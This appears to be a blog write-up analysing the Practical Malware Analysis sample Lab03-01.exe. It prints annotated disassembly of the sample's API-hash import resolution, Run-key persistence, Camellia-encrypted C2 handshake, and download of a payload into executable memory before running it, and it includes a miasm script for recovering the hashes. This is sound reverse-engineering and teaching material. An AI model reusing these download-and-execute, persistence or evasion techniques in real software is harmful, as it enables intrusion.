Post

0x06_Lab03-01

Overview

FilenameSizeMD5
Lab03-01.exe07 KBd537acb8f56a1ce206bc35cf8ff959c0

TL;DR: A malware implementing a little bit of obfuscation, import by hash and not-so-common cryptography. It can install itself in the Windows, System32, or %APPDATA% folders under the name vmx32to64.exe. Persistence is achieved through the addition of the registry key CurrentVersion\Run\VideoDriver (hive HKLM if admin, else HKCU). It ensures only one instance is running at a time using a mutex named WinVMX32. It uses the Winsock2 API to send random data to www.practicalmalwareanalysis.com:443.

Finally, this malware relies on 2 stack buffers to manipulate most of its data, so keeping track of what is written and where it’s written makes the analysis a lot easier.

Tools: IDA free 7.0, x32dbg, miasm (optional)

IDB: Lab03-01.i64

Obfuscation tricks

The call/call trick

Pushing an argument and calling a function without using the push instruction. For example:

1
2
3
4
5
6
7
8
.data:00401228      call    near ptr loc_401235+1
.data:0040122D      popa
.data:0040122E      db      64h
.data:0040122E      jbe     short loc_401292
.data:00401231      jo      short loc_40129C
.data:00401233      xor     esi, [edx]
.data:00401235 loc_401235:
.data:00401235      add     bh, bh

Let’s clean what IDA shows us: at address 0x401235, press d to say data (this allows us to operate on a byte-level granularity), and at address 0x401236 press c to say it’s code. The result is:

1
2
3
4
5
6
7
8
9
.data:00401228      call    loc_401236
.data:0040122D      popa
.data:0040122E      db      64h
.data:0040122E      jbe     short loc_401292
.data:00401231      jo      short loc_40129C
.data:00401233      xor     esi, [edx]
.data:00401235      db 0
.data:00401236 loc_401236:
.data:00401236      call    [ebp+var_EDF]

So, basically it’s 2 calls being executed. Between these 2 calls is in fact not code but a string. Got to address 0x40122D, press alt+a and select C-style. This makes appear the null-terminated string “advapi32” (if it doesn’t work, select all the lines having printable ascii chars and retry alt+a):

1
2
3
4
.data:00401228              call    loc_401236
.data:0040122D aAdvapi32    db 'advapi32',0
.data:00401236 loc_401236:
.data:00401236              call    [ebp+var_EDF]

So, the first call is used to push the address of the string “advapi32” on the stack; and this string is a parameter for the second call.

This trick is used a few time by the sample and can be handled by hand. However, a heavier use would have required some automation.

The call/pop trick

A trick similar to the previous one, except that the destination of the call is a pop instruction. This allows to get a pointer to the data stored just after the call. For example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
.data:00401296      call    push4
.data:0040129B      dd 20B943E7h
.data:0040129F      dw 0ABBh
.data:004012A1      dw 85h
.data:004012A3      dd 68624A9Dh
.data:004012A7      dw 0ABBh
.data:004012A9      dw 0A1h
[...]
.data:004013EB      dd 54D8615Ah
.data:004013EF      dw 0ABBh
.data:004013F1      dw 0CFCh 
.data:004013F3      dd 0
.data:004013F7 push4:
.data:004013F7      pop     edi

The push/pop trick

Moving source data to destination without using the mov instruction. Example:

1
2
.data:00401207      push    dword ptr [eax+8]
.data:0040120A      pop     dword ptr [ebp-4C1h]

Import by hash

A classical obfuscation technique seen in many malwares: the aim is to use precomputed hashes instead of plaintext API and DLL names, in order to hinder static analysis. For API names, the malware performs a dictionary attack against the export table of the relevant DLL. For DLL names, it performs the dictionary attack against filenames in the System32 folder.

The function implementing the resolution of imports is at address 0x400A70, below is the prototype I came with:

1
2
3
4
5
6
DWORD
ImportByHash(
    DWORD arg0,
    DWORD dll_imagebase,
    DWWORD api_hash
);

Details on imports resolution are given later.

There are several ways to retrieve the API name matching a given hash. In this case I built a list containing all the hashes I cound find in the binary and then, rather than reimplementing the hashing algorithm, I let the miam jitter do all the dirty work.

Below is the jitter code. I’m not very familiar with miasm API, but I somehow managed to do the job thanks to the provided examples. The code focus on the hashing part of ImportByHash() rather than on the whole function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
def jitter_callback_start(sb):
    print("[+] Hash computation starts")
    return True

def jitter_callback_end(sb):
    result = sb.cpu.EAX
    sb.run = False
    sb.pc = 0
    return result

def jit_snippet(raw, hashes_to_find, api_list):
    """
    raw: sample
    hashes_to_find: list of hashes
    api_list: path to folder of files containing api names
    """
    start = 0x400aef
    end = 0x400b29
    name2hash = {}

    for file in os.listdir(api_list):

        file_path = os.path.join(api_list, file)
        f = open(file_path, "r")
        api_names = f.readlines()

        print("[*] Parsing file {} ({} names)".format(file, len(api_names)))

        for l in api_names:

            l = l.split('\n')[0]
            str_to_hash = l.encode("utf8")
            str_to_hash += b'\x00'

            sb = Machine("x86_32").jitter()
            sb.init_stack()
            # print(sb.stack_base)

            # Dummy push for stack align (pop edx at 0x400b26);
            # in original code, it's the hash to find.
            sb.push_uint32_t(0x00c0ffee)

            #sb.add_breakpoint(start, jitter_callback_start)
            sb.add_breakpoint(end, jitter_callback_end)

            sb.vm.add_memory_page(0x400000, PAGE_READ | PAGE_WRITE, raw) # code
            sb.vm.add_memory_page(0x500000, PAGE_READ | PAGE_WRITE, str_to_hash) # data

            #sb.vm.set_mem(0x500000, str_to_hash)

            sb.cpu.EAX = 0
            sb.cpu.EBX = 0
            sb.cpu.ECX = 0xffffffff
            sb.cpu.EDX = 0xffffffff
            sb.cpu.EDI = len(str_to_hash)
            sb.cpu.ESI = 0x500000 # string to hash

            result = sb.run(addr=start)

            if result in hashes_to_find:
                api_name = str_to_hash[:-1].decode("utf8")
                name2hash[api_name] = result
                print("[+] Hash match {}:{}".format(hex(result), api_name))

        f.close()

    r = json.dumps(name2hash)

    return r

The full script is available here. It’s far from perfect, but I’m not planning to rework it for I’m slowly moving towards Ghidra as my main reverse engineering framework.

Stack buffers

The code starts by calling address 0x400400, where 2 buffers a initialized on the stack: the first at ebp-0xf7c and the second at ebp-0xfc0:

1
2
3
4
5
6
7
8
9
10
11
12
.data:00400400      push    ebp
.data:00400401      mov     ebp, esp
.data:00400403      add     esp, 0FFFFF030h ; sub esp, 0xfd0
.data:00400409      pusha
.data:0040040A      xor     eax, eax
.data:0040040C      lea     edi, [ebp-0F7Ch] ; buffer 1
.data:00400412      mov     ecx, 0F74h
.data:00400417      rep stosb
.data:00400419      xor     eax, eax
.data:0040041B      lea     edi, [ebp-0FC0h] ; buffer 2
.data:00400421      mov     ecx, 44h
.data:00400426      rep stosb

With the help of a debugger (or not), we can draw the following layout of the stack:

1
2
3
4
5
6
7
    ebp-0xfc0   ebp-0xf7c                       ebp
    |           |                               |
    v           v                               v
    +-----------+------------//-----+-----+-----+-----------+-----------+
    | buffer 2  | buffer 1          | dw1 | dw2 | saved ebp | saved eip |
    +-----------+------------//-----+-----------+-----------+-----------+
lower addresses                                                 higher adresses

Across the code, data will be saved, accessed and manipulated in these two buffers. Many of these uses rely on offsets from ebp-0xf7c (“base address of buffer 1”), so keeping this layout in mind would be useful.

In addition, IDA allows the creation of custom structures, so we can create one of size 0xf7c bytes to represents buffer 1 and fill it as things progress:

  • Open the “Structures” subview (view -> Open subviews -> Structures)
  • Press Ins to create a new structure
  • Press d to create a new field
  • Press Ctrl+e and expand the structure up to 0xf7c bytes
  • If necessary, press u to undefine a field; it will be deleted if all other fields below it are also undefined

Then, each time a register (spoiler: it will be ESI) points to the base of buffer 1, we’ll just have to press t and select the appropriate type to synchronize the disassembly with the content of the updated structure.

Imports resolution

Finding kernelbase.dll

As stated in the obfuscation section, the function implementing the resolution of imports is at address 0x400A70 and has the following prototype:

DWORD
ImportByHash(
    DWORD arg0,
    DWORD dll_imagebase,
    DWWORD api_hash
);

Before calling this function for the first time, the malware retrieves the imagebase of kernelbase.dll from its PEB:

1
2
3
4
5
6
7
8
9
.data:004011FA      mov     eax, large fs:30h   ; PEB
.data:00401200      mov     eax, [eax+0Ch]      ; PEB_LDR_DATA
.data:00401203      mov     esi, [eax+1Ch]      ; InInitializationOrderModuleList (ListEntry)
.data:00401206      lodsd   ; load esi to eax (ListEntry.Flink => eax = LDR_DATA_TABLE_ENTRY+0x10)
.data:00401207      push    dword ptr [eax+8]   ; LDR_DATA_TABLE_ENTRY + 0x10 + 8 -> DllBase
.data:0040120A      pop     dword ptr [ebp-4C1h]; save imagebase
.data:00401210      push    4134D1ADh           ; API hash
.data:0040121B      push    0                   ; unknown parameter
.data:0040121D      call    ImportByHash        ; 

To find the offset where the imagebase is saved, we just do the math according to the stack layout drew previously: 0xf7c-0x4c1=0xabb, so:

1
2
3
4
5
6
; custom struct 0xf7c
...
00000AB9                 db ? ; undefined
00000ABA                 db ? ; undefined
00000ABB imagebase_kernelbase dd ?  
...

Kernelbase.dll export table

The beginning of the function ImportByHash() contains offsets that look familiar: base+0x3C, PE+0x78, ExportTable+0x18, etc. It’s all about having pointers to ExportAddressTable, ExportNamePointerTable and ExportOrdinalTable.

Once these pointers are initialized, the first API name is retrieved from the ExportNamePointerTable and its hash is computed:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
; esi -> current api name
; edi = api name length
.data:00400AEA      xor     ecx, ecx
.data:00400AEC      dec     ecx
.data:00400AED      mov     edx, ecx
.data:00400AEF
.data:00400AEF next_char:
.data:00400AEF      xor     eax, eax    ; start of code to emulate
.data:00400AF1      xor     ebx, ebx
.data:00400AF3      lodsb
.data:00400AF4      xor     al, cl
.data:00400AF6      mov     cl, ch
.data:00400AF8      mov     ch, dl
.data:00400AFA      mov     dl, dh
.data:00400AFC      mov     dh, 8
.data:00400AFE
.data:00400AFE loop_8:
.data:00400AFE      shr     bx, 1
.data:00400B01      rcr     ax, 1
.data:00400B04      jnb     short loc_400B0F
.data:00400B06      xor     ax, 8320h
.data:00400B0A      xor     bx, 0EDB8h
.data:00400B0F
.data:00400B0F loc_400B0F:
.data:00400B0F      dec     dh
.data:00400B11      jnz     short loop_8
.data:00400B13      xor     ecx, eax
.data:00400B15      xor     edx, ebx
.data:00400B17      dec     edi
.data:00400B18      jnz     short next_char
.data:00400B1A      not     edx
.data:00400B1C      not     ecx
.data:00400B1E      mov     eax, edx
.data:00400B20      rol     eax, 10h
.data:00400B23      mov     ax, cx

The resulting hash is compared to the target hash (third argument of the function) at address 0x400B27:

1
2
3
.data:00400B26      pop     edx                 ; arg8 (hash). Dummy "push 0x00c0ffee" in emulation
.data:00400B27      cmp     edx, eax
.data:00400B29      jz      short hash_match    ; end of code to emulate

If hashes don’t match the different pointers are updated and the next API name is hashed, else the address of the API is computed from the ExportOrdinalTable and the ExportAddressTable. This is exactly the same logic seen in the cheatsheet example:

1
2
3
4
5
6
7
8
9
10
11
12
13
.data:00400B35 hash_match:
.data:00400B35      pop     esi             ; restore
.data:00400B36      mov     eax, [ebp+i]    ; index of matching entry in ExportNamePointerTable
.data:00400B39      shl     eax, 1          ; sizeof(WORD)
.data:00400B3B      add     eax, [ebp+ExportOrdinalTable]
.data:00400B3E      xor     esi, esi
.data:00400B40      xchg    eax, esi
.data:00400B41      mov     ax, [esi]       ; get ordinal (ordinal = index used in EAT)
.data:00400B44      shl     ax, 2           ; EAT idx (sizeof(DWORD))
.data:00400B48      add     eax, [ebp+ExportAddressTable]
.data:00400B4B      xchg    eax, esi
.data:00400B4C      mov     eax, [esi]      ; RVA API
.data:00400B4E      add     eax, [ebp+dllbase] ; addr API

So, adress 0x400B4E is a cool candidate breakpoint for dynamic analysis (x32dbg, for example, will automatically give the mapping API name <-> API address in eax). If we fire up the debugger to get a quick answer, we see the first call to ImportByHash() resolves to LoadLibraryA (surprise!).

Loading more DLLs

Back from the first call to ImportByHash(), the malware saves the address of LoadLibraryA():

1
2
.data:0040121D      call    ImportByHash
.data:00401222      mov     [ebp-0EDFh], eax ; LoadLibraryA

LoadLibraryA() is used to load the following libraries: advapi32, ntdll, user32, advpack, and (later) ws32_2. The snippet below illustrate the loading of advapi32.dll (using the call/call trick):

1
2
3
4
5
6
7
.data:00401228      call    push1
.data:00401228 ; ---------------------------------------------------------------------------
.data:0040122D aAdvapi32       db 'advapi32',0
.data:00401236 ; ---------------------------------------------------------------------------
.data:00401236 push1:
.data:00401236      call    dword ptr [ebp-0EDFh] ; LoadLibraryA
.data:0040123C      mov     [ebp-4A9h], eax

To compute the destination offset, just recall the example given for kernelbase.

Custom structures

Some resolutions rely on the use of custom structures, for example between addresses 0x401296 and 0x40141D. First, the call/pop trick is used so edi points to what seems gibberish data at first sight:

1
2
3
4
5
6
7
8
.data:00401296      call    push4
.data:0040129B      dd 20B943E7h
.data:0040129F      dw 0ABBh
.data:004012A1      dw 85h 
[...]
.data:004013F7 push4:
.data:004013F7      pop     edi
.data:004013F8      lea     esi, [ebp-0F7Ch]

However, looking at how the data are used in the following loop, we deduce it’s an array of custom structures:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
.data:004013F8      lea     esi, [ebp-0F7Ch]        ; esi -> base of buffer 1
.data:004013FE
.data:004013FE get_next_api:
.data:004013FE      cmp     dword ptr [edi], 0      ; is end?
.data:00401401      jz      short end_table
.data:00401403      movzx   eax, word ptr [edi+4]   ; ax = offset_1
.data:00401407      push    dword ptr [edi]         ; API hash
.data:00401409      push    dword ptr [eax+esi]     ; buffer1[offset_1] = dllbase
.data:0040140C      push    0                       ; unknown parameter 
.data:0040140E      call    ImportByHash
.data:00401413      movzx   edx, word ptr [edi+6]   ; dx = offset_2
.data:00401417      mov     [edx+esi], eax          ; buffer1[offset_2] = api_address
.data:0040141A      add     edi, 8                  ; next entry 
.data:0040141D      jmp     short get_next_api

Hence we can improve the layout of the data by creating the following structure:

1
2
3
4
5
6
00000000 CUSTOM_IID      struc ; (sizeof=0x8, mappedto_7)
00000000                                         ; XREF: .data:0040129B/r
00000000 api_hash        dd ?
00000004 offset_to_dll_base dw ?
00000006 offset_to_api_address dw ?
00000008 CUSTOM_IID      ends

Then, selecting all the data and pressing * to make and array, we end up with:

1
2
3
4
5
6
7
8
9
10
.data:00401296      call    push4
.data:00401296 ; ---------------------------------------------------------------------------
.data:0040129B ; CUSTOM_IID
.data:0040129B      CUSTOM_IID <20B943E7h, 0ABBh, 85h> ; hash, offset_dllbase, offset_dest
.data:0040129B      CUSTOM_IID <68624A9Dh, 0ABBh, 0A1h>
.data:0040129B      CUSTOM_IID <0AC136BAh, 0ABBh, 0A5h>
[...]
.data:004013F7 push4:
.data:004013F7      pop     edi
.data:004013F8      lea     esi, [ebp-0F7Ch]

Using the field offset_dest we can (although manually) fill part of the big buffer1 structure by renaming the relevant fields with something like addr_apiname.

Later in the code, ws2_32 imports are resolved using a similar approach:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
; esi->base_buffer1
.data:00400480      call    loc_40048C
.data:00400480 ; ---------------------------------------------------------------------------
.data:00400485 aWs232   db 'ws2_32',0
.data:0040048C ; ---------------------------------------------------------------------------
.data:0040048C
.data:0040048C loc_40048C:                             ; CODE XREF: Network+49↑p
.data:0040048C      pop     eax
.data:0040048D      push    eax
.data:0040048E      call    [esi+BUFFER_1.addr_LoadLibraryA]
.data:00400494      mov     [esi+BUFFER_1.imagebase_ws2_32], eax
.data:0040049A      call    loc_4004D9
.data:0040049A ; ---------------------------------------------------------------------------
.data:0040049F ; CUSTOM_IID_2 CUSTOM_IID_2_0
.data:0040049F CUSTOM_IID_2_0  CUSTOM_IID_2 <8EB460E1h, 1> ; api_hash, offset_to_dest
.data:0040049F                 CUSTOM_IID_2 <7C2941D1h, 15h>
.data:0040049F                 CUSTOM_IID_2 <65ECBB1Eh, 19h>
.data:0040049F                 CUSTOM_IID_2 <0EAED580Ch, 1Dh>
.data:0040049F                 CUSTOM_IID_2 <5F7E2D81h, 5>
.data:0040049F                 CUSTOM_IID_2 <377022BAh, 0Dh>
.data:0040049F                 CUSTOM_IID_2 <7A3CE88Ah, 11h>
.data:0040049F                 CUSTOM_IID_2 <1CC6CDC5h, 9>
.data:0040049F                 CUSTOM_IID_2 <492DDFD7h, 99h>
.data:004004D5                 dd 0
.data:004004D9 ; ---------------------------------------------------------------------------
.data:004004D9
.data:004004D9 loc_4004D9:                             ; CODE XREF: Network+63↑p
.data:004004D9      pop     edi
.data:004004DA
.data:004004DA solve_next_ws2_32_import:               ; CODE XREF: Network+C1↓j
.data:004004DA      cmp     dword ptr [edi], 0
.data:004004DD      jz      short end_array
.data:004004DF      push    dword ptr [edi]
.data:004004E1      push    [esi+BUFFER_1.imagebase_ws2_32]
.data:004004E7      push    eax
.data:004004E8      call    [esi+BUFFER_1.ptr_sub_400a70_hash2api] ; 0x400a70
.data:004004EE      movzx   edx, word ptr [edi+4]
.data:004004F2      mov     [edx+esi], eax
.data:004004F5      add     edi, 6
.data:004004F8      jmp     short solve_next_ws2_32_import
.data:004004FA ; ---------------------------------------------------------------------------
.data:004004FA
.data:004004FA end_array:
[...]

More data

In addition to API addresses, the same kind of custom structures are used to save more data such as strings, function pointers and data pointers in buffer 1. See for example addresses 0x401431 and 0x401595.

Malware installation

After all these buffer-filling things, the malware reaches address 0x4015f1 and calls function 0x4017ba:

1
2
.data:004015F0      push    esi ; buffer1
.data:004015F1      call    dword ptr [ebp-0EA7h] ; 0x4017ba: install malware

Function 0x4017ba performs installation in a classical way: copy to some folder and create an entry under the registry key Run. As there’s nothing really new from previous writeups, no code is shown.

Copy

Copy occurs in function 0x401883. The destination folder depends on a flag and on privileges the malware runs with. It can be the Windows directory (retrieved with a call to GetWindowsDirectoryA), the System32 directory (GetSystemDirectoryA) or the %AppData% directory (retrieved from the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders).

In any case, the copy is named vmx32to64.exe and the original file is deleted. One a side note, admin privileges were checked earlier with a call to IsNTAdmin() (see address 0x401516).

Persistence

Inside function 0x401715, the malware creates either:

  • HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\VideoDriver key (if not admin)
  • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\VideoDriver key (if admin)

The content of the key is the path to the malware copy.

Threads creation

Still inside function 0x4017ba, we notice the malware can execute two calls to the api Createthread. However, I didn’t find where the start addresses where located.

Network

Back from malware installation, we reach address 0x4015f8:

1
2
.data:004015F7      push    esi
.data:004015F8      call    dword ptr [ebp-0EA3h] ; 0x400437: network!

Let’s dig into function 0x400437. This function starts by creating a mutex named “WinVMX32” (and exits if it already exists); here again, no code shown because it’s always the same thing. It’s also here that ws2_32.dll imports are resolved.

Crypto

Communications with the CnC are encrypted. At address 0x40047a is a call to function 0x400b5a:

1
.data:0040047A  call    [esi+BUFFER_1.ptr_sub_400b5a_Crypto_camellia256_set_key]

Inside this function, we notice what looks like cryptographic constants:

1
2
3
.data:00400B9B camellia_sigma  dd 7F669EA0h, 8B90CC3Bh, 58E87AB6h, 0B273AA4Ch, 2F37EFC6h
.data:00400B9B                 dd 0BE824FE9h, 0A553FF54h, 1C6FD3F1h, 0FA27E510h, 1D2D68DEh
.data:00400B9B                 dd 0C28856B0h, 0FDC1E6B3h

After some wandering and googling, we find a Github project allowing us to link these with Camellia encryption (symmetric). I’ve never met this algorithm before, so I compared the sources publicly available to the disassembly and made some assumptions:

  • Function 0x400de0 might be CamelliaDecrypt()
  • Function 0x400cf4 might be CamelliaEncrypt()
  • buffer1+0x96b points to the encryption/decryption key

This is thin, but enough to get a better understanding of the overall communication protocol.

Winsock2 init

Initialization of winsock2 communication starts just after the resolution of network-related imports:

1
2
3
4
5
6
.data:0040050C      lea     ecx, [ebp+WSADATA]
.data:00400512      push    ecx         ; WSADATA*
.data:00400513      push    101h
.data:00400518      call    eax         ; WSAStartup
.data:0040051A      test    eax, eax
.data:0040051C      jnz     failed_winsock_init

Then the domain www.practicalmalwareanalysis.com and port 443 are retrieved from buffer1:

1
2
3
4
5
6
.data:00400633      lea     edi, [ebp+malicious_domain]
.data:00400639      push    edi             ; dest
.data:0040063A      push    ecx             ; size or null
.data:0040063B      lea     edi, [esi+BUFFER_1.domain_and_port]
.data:00400641      push    edi             ; source
.data:00400642      call    [esi+BUFFER_1.ptr_sub_400988_CopyData] ; 0x400988; returns port in ECX

A call to htons() is made to convert the little-endian port number to big-endian (“network byte order”):

1
2
.data:0040064E      push    ecx ; 0x1bb = port 443
.data:0040064F      call    [esi+BUFFER_1.addr_htons]

Following that, a socket is created:

1
2
3
4
5
6
7
8
.data:0040064E      push    ecx
.data:0040064F      call    [esi+BUFFER_1.addr_htons]
.data:00400652      mov     [ebp+SOCKADDR.sin_port], ax
.data:00400659      push    0               ; no protocol specified
.data:0040065B      push    SOCK_STREAM
.data:0040065D      push    AF_INET
.data:0040065F      call    [esi+BUFFER_1.addr_socket]
.data:00400662      mov     [ebp+socket], eax ; sd

A call to gethostbyname() allows to get the IP address of the domain:

1
2
3
4
5
6
7
8
9
10
.data:0040067D      lea     eax, [ebp+malicious_domain]
.data:00400683      push    eax
.data:00400684      call    [esi+BUFFER_1.addr_gethostbyname]
.data:00400687      or      eax, eax
.data:00400689      jnz     short gethostbyname_success
[...]
.data:00400690 gethostbyname_success:                  ; CODE XREF: Network+252↑j
.data:00400690      mov     eax, [eax+0Ch]
.data:00400693      mov     eax, [eax]
.data:00400695      mov     eax, [eax]      ; CnC IP

I didn’t follow all the pointer shenanigans, but in the end eax = 0x184E00C0:

Byte1Byte2Byte3Byte4
0x180x4E0x000xC0
247800192

=> 192.0.78.24 = IP of the domain.

Once the malware has the IP to contact, it connects the socket:

1
2
3
4
5
6
7
.data:004006AA      push    10h                 ; sizeof(sockaddr)
.data:004006AC      lea     eax, [ebp-1A8h]
.data:004006B2      push    eax                 ; sockaddr
.data:004006B3      push    dword ptr [ebp-4]   ; socket
.data:004006B6      call    [esi+BUFFER_1.addr_connect]
.data:004006B9      or      eax, eax
.data:004006BB      jnz     close_socket_and_sleep

If the connection is successful, data are sent to the server.

Sending and receiving data

Data to send were generated early during malware execution (see address 0x4015A5), but it’s just randomly generated data so I skipped it at first. These data are transformed inside function 0x4010dc and put inside a buffer pointed by edi:

1
2
3
4
5
6
7
8
9
10
11
12
13
.data:00400851 send_data:                              ; CODE XREF: Network+29B↑j
.data:00400851                                         ; Network+360↑j ...
.data:00400851      lea     edi, [ebp+data_to_send]
.data:00400857      xor     ecx, ecx
.data:00400859
.data:00400859 process_data_to_send:
.data:00400859      push    esi
.data:0040085A      call    [esi+BUFFER_1.ptr_sub_4010dc_CryptoRandom2] ; 0x4010dc
.data:00400860      mov     [ecx+edi], eax
.data:00400863      mov     [ecx+edi+4], edx
.data:00400867      add     ecx, 8
.data:0040086A      cmp     ecx, 100h
.data:00400870      jnz     short process_data_to_send

Following that, data are finally sent:

1
2
3
4
5
6
.data:00400872      push    100h            ; size of data
.data:00400877      push    edi             ; random data
.data:00400878      push    [ebp+socket]
.data:0040087B      push    1               ; flag 1 = send (0 = recv)
.data:0040087D      push    esi             ; base buffer 1
.data:0040087E      call    [esi+BUFFER_1.ptr_sub_4009d3_NetworkSendOrRecv] ; 4009d3

Next, the malware:

  1. Uses CamelliaEncrypt() on the data already sent
  2. Receive data from the server
  3. Compare both
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
; encrypt
.data:00400886 encrypt_dafuck:
.data:00400886      push    esi
.data:00400887      lea     eax, [esi+BUFFER_1.camellia]
.data:0040088D      push    eax
.data:0040088E      push    edi
.data:0040088F      push    edi             ; encrypt the random data
.data:00400890      call    [esi+BUFFER_1.ptr_sub_400cf4_CamelliaEncrypt] ; 0x400cf4
.data:00400896      add     edi, 10h
.data:00400899      add     ecx, 1
.data:0040089C      cmp     ecx, 10h
.data:0040089F      jnz     short encrypt_dafuck

; receive
.data:004008A1      push    100h        ; size of buffer
.data:004008A6      lea     eax, [ebp+encrypted_data_recv]
.data:004008AC      push    eax         ; data to receive
.data:004008AD      push    [ebp+socket]
.data:004008B0      push    0           ; flag 0 = recv
.data:004008B2      push    esi         ; base buffer 1
.data:004008B3      call    [esi+BUFFER_1.ptr_sub_4009d3_NetworkSendOrRecv] ; 4009d3
.data:004008B9      push    esi

; compare
.data:004008BA      cld
.data:004008BB      mov     ecx, 40h
.data:004008C0      lea     esi, [ebp+data_to_send] ; now encrypted
.data:004008C6      lea     edi, [ebp+encrypted_data_recv]
.data:004008CC      repe cmpsd
.data:004008CE      jz      short data_match
.data:004008D0      pop     esi
.data:004008D1      mov     [ebp+sleep_time], 7530h
.data:004008DB      jmp     short close_socket_and_sleep

During the dynamic analysis, the recv buffer stayed desperately empty. However, I speculate the server should answer with the data it received from the send and encrypted on its side. If the server answer match the data encrypted on the client side, it means both are in possession of the encryption key.

If the data match, the malware receive 4 more bytes from the server:

1
2
3
4
5
6
7
.data:004008DE      push    4   ; size
.data:004008E0      lea     eax, [ebp+WSADATA.lpVendorInfo+2]
.data:004008E3      push    eax             ; output to recv 4 bytes
.data:004008E4      push    [ebp+socket]
.data:004008E7      push    0               ; 0 = recv
.data:004008E9      push    esi             ; base buffer 1
.data:004008EA      call    [esi+BUFFER_1.ptr_sub_4009d3_NetworkSendOrRecv]

It appears these 4 bytes are a size, and are used in a following call to VirtualAlloc():

1
2
3
4
5
6
.data:004008F4      push    PAGE_EXECUTE_READWRITE   ; RWX FTW
.data:004008F6      push    MEM_COMMIT
.data:004008FB      push    [ebp+WSADATA.lpVendorInfo+2] ; data received=size to alloc
.data:004008FE      push    0
.data:00400900      call    [esi+BUFFER_1.addr_VirtualAlloc]
.data:00400903      mov     edi, eax    ; future payload

Without surprise now, the allocated buffer is used to download additional data:

1
2
3
4
5
6
.data:00400905      push    [ebp+WSADATA.lpVendorInfo+2] ; size of download
.data:00400908      push    eax             ; download data to heap
.data:00400909      push    [ebp+socket]
.data:0040090C      push    0                ; recv
.data:0040090E      push    esi              ; base buffer 1
.data:0040090F      call    [esi+BUFFER_1.ptr_sub_4009d3_NetworkSendOrRecv]

Downloaded data are decrypted with CamelliaDecrypt():

1
2
3
4
5
6
7
8
9
10
11
12
13
.data:00400926      push    edi     ; save
.data:00400927      mov     ecx, [ebp+WSADATA.lpVendorInfo+2] ; payload size
.data:0040092A loop_decrypt:
.data:0040092A      push    esi
.data:0040092B      lea     eax, [esi+BUFFER_1.camellia]
.data:00400931      push    eax
.data:00400932      push    edi
.data:00400933      push    edi     ; downloaded payload
.data:00400934      call    [esi+BUFFER_1.ptr_sub_400de0_CamelliaDecrypt] ; 0x400de0
.data:0040093A      add     edi, 10h
.data:0040093D      sub     ecx, 10h
.data:00400940      jnz     short loop_decrypt
.data:00400942      pop     edi     ; restore

And the payload is executed:

1
2
3
4
5
6
.data:00400943      push    edi
.data:00400944      push    [ebp+socket]
.data:00400947      pop     [esi+BUFFER_1.socket]
.data:0040094D      push    esi
.data:0040094E      call    edi             ; call payload
.data:00400950      pop     edi

It’s a bit frustrating to get empty answers from the server, but “c’est la vie”.

Closing words

This 7 KB motherfucker gave IDA Free some bad times in disentangling data from code. I didn’t went into all the magic flags used by the network function, mostly because I’m lazy. Also, some calls stayed unresolved and some resolved API weren’t called (I’m thinking about process injection, hooking, and keylogging features). I see two explanations: (i) I missed something, or (ii) this is a somewhat disarmed sample.


EOF

This post is licensed under CC BY 4.0 by the author.